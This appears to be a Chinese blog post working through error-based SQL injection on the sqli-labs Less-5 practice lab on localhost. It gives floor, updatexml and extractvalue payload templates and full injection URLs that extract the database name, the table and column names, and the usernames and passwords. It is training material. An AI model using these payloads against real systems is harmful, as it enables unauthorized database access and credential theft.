sql注入 之 报错注入 练习

三种报错注入得方式:

(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。 

测试网站发现 无报错显示 所以尝试 报错注入

使用第二种报错方法

http://127.0.0.1/sqli/Less-5/?id=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+

 爆出数据后,按照前面的爆表 爆列进行

http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

 爆列http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

 http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username,password)),0x7e) from users),0x7e),1) --+

拿到数据得账号密码。

总结

对于不同类型得报错注入,原理是一样得 在playload 出写出查询语句即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值